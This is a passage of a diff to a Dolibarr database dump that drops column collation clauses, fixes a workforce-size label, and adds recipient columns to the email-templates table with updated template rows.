DEFAULT 0, @@ -1949,9 +1600,9 @@ DROP TABLE IF EXISTS `llx_c_currencies`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_currencies` ( - `code_iso` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `unicode` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code_iso` varchar(3) NOT NULL, + `label` varchar(128) DEFAULT NULL, + `unicode` varchar(32) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`code_iso`), UNIQUE KEY `uk_c_currencies_code_iso` (`code_iso`) @@ -1977,12 +1628,12 @@ DROP TABLE IF EXISTS `llx_c_departements`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_departements` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code_departement` varchar(6) COLLATE utf8mb3_unicode_ci NOT NULL, + `code_departement` varchar(6) NOT NULL, `fk_region` int(11) DEFAULT NULL, - `cheflieu` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `cheflieu` varchar(50) DEFAULT NULL, `tncc` int(11) DEFAULT NULL, - `ncc` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `nom` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ncc` varchar(50) DEFAULT NULL, + `nom` varchar(50) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_departements` (`code_departement`,`fk_region`), @@ -2011,10 +1662,10 @@ DROP TABLE IF EXISTS `llx_c_ecotaxe`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_ecotaxe` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(64) NOT NULL, + `label` varchar(255) DEFAULT NULL, `price` double(24,8) DEFAULT NULL, - `organization` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `organization` varchar(255) DEFAULT NULL, `fk_pays` int(11) NOT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), @@ -2041,10 +1692,10 @@ DROP TABLE IF EXISTS `llx_c_effectif`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_effectif` ( `id` int(11) NOT NULL, - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_effectif` (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -2056,7 +1707,7 @@ CREATE TABLE `llx_c_effectif` ( LOCK TABLES `llx_c_effectif` WRITE; /*!40000 ALTER TABLE `llx_c_effectif` DISABLE KEYS */; -INSERT INTO `llx_c_effectif` VALUES (0,'EF0','-',1,NULL),(1,'EF1-5','1 - 5',1,NULL),(2,'EF6-10','6 - 10',1,NULL),(3,'EF11-50','11 - 50',1,NULL),(4,'EF51-100','51 - 100',1,NULL),(5,'EF100-500','100 - 500',1,NULL),(6,'EF500-','> 500',1,NULL); +INSERT INTO `llx_c_effectif` VALUES (0,'EF0','-',1,NULL),(1,'EF1-5','1 - 5',1,NULL),(2,'EF6-10','6 - 10',1,NULL),(3,'EF11-50','11 - 50',1,NULL),(4,'EF51-100','51 - 100',1,NULL),(5,'EF101-500','101 - 500',1,NULL),(6,'EF500-','> 500',1,NULL); /*!40000 ALTER TABLE `llx_c_effectif` ENABLE KEYS */; UNLOCK TABLES; @@ -2073,9 +1724,9 @@ CREATE TABLE `llx_c_email_senderprofile` ( `private` smallint(6) NOT NULL DEFAULT 0, `date_creation` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `signature` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `email` varchar(255) NOT NULL, + `signature` text DEFAULT NULL, `position` smallint(6) DEFAULT 0, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), @@ -2102,25 +1753,29 @@ DROP TABLE IF EXISTS `llx_c_email_templates`; CREATE TABLE `llx_c_email_templates` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type_template` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, + `type_template` varchar(32) DEFAULT NULL, + `lang` varchar(6) DEFAULT NULL, `private` smallint(6) NOT NULL DEFAULT 0, `fk_user` int(11) DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `position` smallint(6) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `topic` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `content` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `content_lines` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `enabled` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '1', - `joinfiles` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '1', + `topic` text DEFAULT NULL, + `content` mediumtext DEFAULT NULL, + `content_lines` text DEFAULT NULL, + `enabled` varchar(255) DEFAULT '1', + `joinfiles` varchar(255) DEFAULT '1', + `email_from` varchar(255) DEFAULT NULL, + `email_to` varchar(255) DEFAULT NULL, + `email_tocc` varchar(255) DEFAULT NULL, + `email_tobcc` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_email_templates` (`entity`,`label`,`lang`), KEY `idx_type` (`type_template`) -) ENGINE=InnoDB AUTO_INCREMENT=37 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=94 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -2129,7 +1784,7 @@ CREATE TABLE `llx_c_email_templates` ( LOCK TABLES `llx_c_email_templates` WRITE; /*!40000 ALTER TABLE `llx_c_email_templates` DISABLE KEYS */; -INSERT INTO `llx_c_email_templates` VALUES (1,1,NULL,'propal_send','',1,NULL,NULL,'2018-01-19 11:17:48','My Private email template for proposals',1,1,'Hello __FIRSTNAME__','We wish you a happy new year
__USER_SIGNATURE__',NULL,'1','1'),(2,0,'adherent','member','',0,NULL,NULL,'2018-01-19 11:17:48','(SendAnEMailToMember)',1,1,'__(CardContent)__','__(Hello)__,

\n\n__(ThisIsContentOfYourCard)__
\n__(ID)__ : __ID__
\n__(Civiliyty)__ : __MEMBER_CIVILITY__
\n__(Firstname)__ : __MEMBER_FIRSTNAME__
\n__(Lastname)__ : __MEMBER_LASTNAME__
\n__(Fullname)__ : __MEMBER_FULLNAME__
\n__(Company)__ : __MEMBER_COMPANY__
\n__(Address)__ : __MEMBER_ADDRESS__
\n__(Zip)__ : __MEMBER_ZIP__
\n__(Town)__ : __MEMBER_TOWN__
\n__(Country)__ : __MEMBER_COUNTRY__
\n__(Email)__ : __MEMBER_EMAIL__
\n__(Birthday)__ : __MEMBER_BIRTH__
\n__(Photo)__ : __MEMBER_PHOTO__
\n__(Login)__ : __MEMBER_LOGIN__
\n__(Password)__ : __MEMBER_PASSWORD__
\n__(Phone)__ : __MEMBER_PHONE__
\n__(PhonePerso)__ : __MEMBER_PHONEPRO__
\n__(PhoneMobile)__ : __MEMBER_PHONEMOBILE__

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','1'),(3,0,'banque','thirdparty','',0,NULL,NULL,'2018-01-19 11:17:48','(YourSEPAMandate)',1,0,'__(YourSEPAMandate)__','__(Hello)__,

\n\n__(FindYourSEPAMandate)__ :
\n__MYCOMPANY_NAME__
\n__MYCOMPANY_FULLADDRESS__

\n__(Sincerely)__
\n__USER_SIGNATURE__',NULL,'1','1'),(6,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnAutoSubscription)',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipRequestWasReceived)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourMembershipRequestWasReceived)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0'),(7,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnMemberValidation)',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipWasValidated)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourMembershipWasValidated)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0'),(8,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnNewSubscription)',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourSubscriptionWasRecorded)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourSubscriptionWasRecorded)__
\n\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','1'),(9,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingReminderForExpiredSubscription)',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(SubscriptionReminderEmail)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfSubscriptionReminderEmail)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0'),(10,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnCancelation)',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipWasCanceled)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(YourMembershipWasCanceled)__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0'),(11,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingAnEMailToMember)',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(CardContent)__','__(Hello)__,

\n\n__(ThisIsContentOfYourCard)__
\n__(ID)__ : __ID__
\n__(Civiliyty)__ : __MEMBER_CIVILITY__
\n__(Firstname)__ : __MEMBER_FIRSTNAME__
\n__(Lastname)__ : __MEMBER_LASTNAME__
\n__(Fullname)__ : __MEMBER_FULLNAME__
\n__(Company)__ : __MEMBER_COMPANY__
\n__(Address)__ : __MEMBER_ADDRESS__
\n__(Zip)__ : __MEMBER_ZIP__
\n__(Town)__ : __MEMBER_TOWN__
\n__(Country)__ : __MEMBER_COUNTRY__
\n__(Email)__ : __MEMBER_EMAIL__
\n__(Birthday)__ : __MEMBER_BIRTH__
\n__(Photo)__ : __MEMBER_PHOTO__
\n__(Login)__ : __MEMBER_LOGIN__
\n__(Password)__ : __MEMBER_PASSWORD__
\n__(Phone)__ : __MEMBER_PHONE__
\n__(PhonePerso)__ : __MEMBER_PHONEPRO__
\n__(PhoneMobile)__ : __MEMBER_PHONEMOBILE__

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0'),(12,0,'recruitment','recruitmentcandidature_send','',0,NULL,NULL,'2020-12-10 12:24:39','(AnswerCandidature)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourCandidature)__','__(Hello)__ __CANDIDATE_FULLNAME__,

\n\n__(YourCandidatureAnswer)__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'$conf->recruitment->enabled','0'),(14,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailAskConf',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskConf)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventConfRequestWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(15,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailAskBooth',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskBooth)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBoothRequestWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(16,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailSubsBooth',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailSubsBooth)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBoothSubscriptionWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(17,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailSubsEvent',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailSubsEvent)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventEventSubscriptionWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(18,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationMassEmailAttendees',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailAttendees)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBulkMailToAttendees)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(19,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationMassEmailSpeakers',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailSpeakers)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBulkMailToSpeakers)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(20,0,'partnership','member',NULL,0,NULL,NULL,'2021-04-15 10:22:55','(AlertStatusPartnershipExpiration)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourMembershipWillSoonExpireTopic)__','\n

Dear __MEMBER_FULLNAME__,

\n__(YourMembershipWillSoonExpireContent)__

\n
\n\n __(Sincerely)__
\n __[PARTNERSHIP_SOCIETE_NOM]__
\n \n',NULL,'1','0'),(27,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipWillSoonBeCanceled)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipWillSoonBeCanceledTopic)__','\n

Hello,

\n__(YourPartnershipWillSoonBeCanceledContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0'),(28,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipCanceled)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipCanceledTopic)__','\n

Hello,

\n__(YourPartnershipCanceledContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0'),(29,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipRefused)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipRefusedTopic)__','\n

Hello,

\n__(YourPartnershipRefusedContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0'),(30,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipAccepted)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipAcceptedTopic)__','\n

Hello,

\n__(YourPartnershipAcceptedContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0'),(31,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailAskConf)',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskConf)__','__(Hello)__,

__(OrganizationEventConfRequestWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(32,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailAskBooth)',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskBooth)__','__(Hello)__,

__(OrganizationEventBoothRequestWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(33,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailBoothPayment)',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailBoothPayment)__','__(Hello)__,

__(OrganizationEventPaymentOfBoothWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(34,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailRegistrationPayment)',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailRegistrationPayment)__','__(Hello)__,

__(OrganizationEventPaymentOfRegistrationWasReceived)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(35,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationMassEmailAttendees)',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailAttendees)__','__(Hello)__,

__(OrganizationEventBulkMailToAttendees)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL),(36,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationMassEmailSpeakers)',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailSpeakers)__','__(Hello)__,

__(OrganizationEventBulkMailToSpeakers)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL); +INSERT INTO `llx_c_email_templates` VALUES (1,1,NULL,'propal_send','',1,NULL,NULL,'2018-01-19 11:17:48','My Private email template for proposals',1,1,'Hello __FIRSTNAME__','We wish you a happy new year
__USER_SIGNATURE__',NULL,'1','1',NULL,NULL,NULL,NULL),(2,0,'adherent','member','',0,NULL,NULL,'2018-01-19 11:17:48','(SendAnEMailToMember)',1,1,'__(CardContent)__','__(Hello)__,

\n\n__(ThisIsContentOfYourCard)__
\n__(ID)__ : __ID__
\n__(Civiliyty)__ : __MEMBER_CIVILITY__
\n__(Firstname)__ : __MEMBER_FIRSTNAME__
\n__(Lastname)__ : __MEMBER_LASTNAME__
\n__(Fullname)__ : __MEMBER_FULLNAME__
\n__(Company)__ : __MEMBER_COMPANY__
\n__(Address)__ : __MEMBER_ADDRESS__
\n__(Zip)__ : __MEMBER_ZIP__
\n__(Town)__ : __MEMBER_TOWN__
\n__(Country)__ : __MEMBER_COUNTRY__
\n__(Email)__ : __MEMBER_EMAIL__
\n__(Birthday)__ : __MEMBER_BIRTH__
\n__(Photo)__ : __MEMBER_PHOTO__
\n__(Login)__ : __MEMBER_LOGIN__
\n__(Password)__ : __MEMBER_PASSWORD__
\n__(Phone)__ : __MEMBER_PHONE__
\n__(PhonePerso)__ : __MEMBER_PHONEPRO__
\n__(PhoneMobile)__ : __MEMBER_PHONEMOBILE__

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','1',NULL,NULL,NULL,NULL),(3,0,'banque','thirdparty','',0,NULL,NULL,'2018-01-19 11:17:48','(YourSEPAMandate)',1,0,'__(YourSEPAMandate)__','__(Hello)__,

\n\n__(FindYourSEPAMandate)__ :
\n__MYCOMPANY_NAME__
\n__MYCOMPANY_FULLADDRESS__

\n__(Sincerely)__
\n__USER_SIGNATURE__',NULL,'1','1',NULL,NULL,NULL,NULL),(6,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnAutoSubscription)',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipRequestWasReceived)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourMembershipRequestWasReceived)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0',NULL,NULL,NULL,NULL),(7,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnMemberValidation)',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipWasValidated)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourMembershipWasValidated)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0',NULL,NULL,NULL,NULL),(8,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnNewSubscription)',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourSubscriptionWasRecorded)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfYourSubscriptionWasRecorded)__
\n\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','1',NULL,NULL,NULL,NULL),(9,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingReminderForExpiredSubscription)',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(SubscriptionReminderEmail)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(ThisIsContentOfSubscriptionReminderEmail)__
\n
__ONLINE_PAYMENT_TEXT_AND_URL__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0',NULL,NULL,NULL,NULL),(10,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingEmailOnCancelation)',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourMembershipWasCanceled)__','__(Hello)__ __MEMBER_FULLNAME__,

\n\n__(YourMembershipWasCanceled)__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0',NULL,NULL,NULL,NULL),(11,0,'adherent','member','',0,NULL,NULL,'2018-11-23 11:56:08','(SendingAnEMailToMember)',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(CardContent)__','__(Hello)__,

\n\n__(ThisIsContentOfYourCard)__
\n__(ID)__ : __ID__
\n__(Civiliyty)__ : __MEMBER_CIVILITY__
\n__(Firstname)__ : __MEMBER_FIRSTNAME__
\n__(Lastname)__ : __MEMBER_LASTNAME__
\n__(Fullname)__ : __MEMBER_FULLNAME__
\n__(Company)__ : __MEMBER_COMPANY__
\n__(Address)__ : __MEMBER_ADDRESS__
\n__(Zip)__ : __MEMBER_ZIP__
\n__(Town)__ : __MEMBER_TOWN__
\n__(Country)__ : __MEMBER_COUNTRY__
\n__(Email)__ : __MEMBER_EMAIL__
\n__(Birthday)__ : __MEMBER_BIRTH__
\n__(Photo)__ : __MEMBER_PHOTO__
\n__(Login)__ : __MEMBER_LOGIN__
\n__(Password)__ : __MEMBER_PASSWORD__
\n__(Phone)__ : __MEMBER_PHONE__
\n__(PhonePerso)__ : __MEMBER_PHONEPRO__
\n__(PhoneMobile)__ : __MEMBER_PHONEMOBILE__

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'1','0',NULL,NULL,NULL,NULL),(12,0,'recruitment','recruitmentcandidature_send','',0,NULL,NULL,'2020-12-10 12:24:39','(AnswerCandidature)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(YourCandidature)__','__(Hello)__ __CANDIDATE_FULLNAME__,

\n\n__(YourCandidatureAnswer)__
\n

\n__(Sincerely)__
__USER_SIGNATURE__',NULL,'$conf->recruitment->enabled','0',NULL,NULL,NULL,NULL),(14,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailAskConf',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskConf)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventConfRequestWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(15,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailAskBooth',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskBooth)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBoothRequestWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(16,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailSubsBooth',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailSubsBooth)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBoothSubscriptionWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(17,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationEmailSubsEvent',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailSubsEvent)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventEventSubscriptionWasReceived)__

__ONLINE_PAYMENT_TEXT_AND_URL__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(18,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationMassEmailAttendees',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailAttendees)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBulkMailToAttendees)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(19,0,'','eventorganization_send','',0,NULL,NULL,'2021-02-14 13:42:41','EventOrganizationMassEmailSpeakers',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailSpeakers)__','__(Hello)__ __THIRDPARTY_NAME__,

__(ThisIsContentOfYourOrganizationEventBulkMailToSpeakers)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(20,0,'partnership','member',NULL,0,NULL,NULL,'2021-04-15 10:22:55','(AlertStatusPartnershipExpiration)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourMembershipWillSoonExpireTopic)__','\n

Dear __MEMBER_FULLNAME__,

\n__(YourMembershipWillSoonExpireContent)__

\n
\n\n __(Sincerely)__
\n __[PARTNERSHIP_SOCIETE_NOM]__
\n \n',NULL,'1','0',NULL,NULL,NULL,NULL),(27,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipWillSoonBeCanceled)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipWillSoonBeCanceledTopic)__','\n

Hello,

\n__(YourPartnershipWillSoonBeCanceledContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0',NULL,NULL,NULL,NULL),(28,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipCanceled)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipCanceledTopic)__','\n

Hello,

\n__(YourPartnershipCanceledContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0',NULL,NULL,NULL,NULL),(29,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipRefused)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipRefusedTopic)__','\n

Hello,

\n__(YourPartnershipRefusedContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
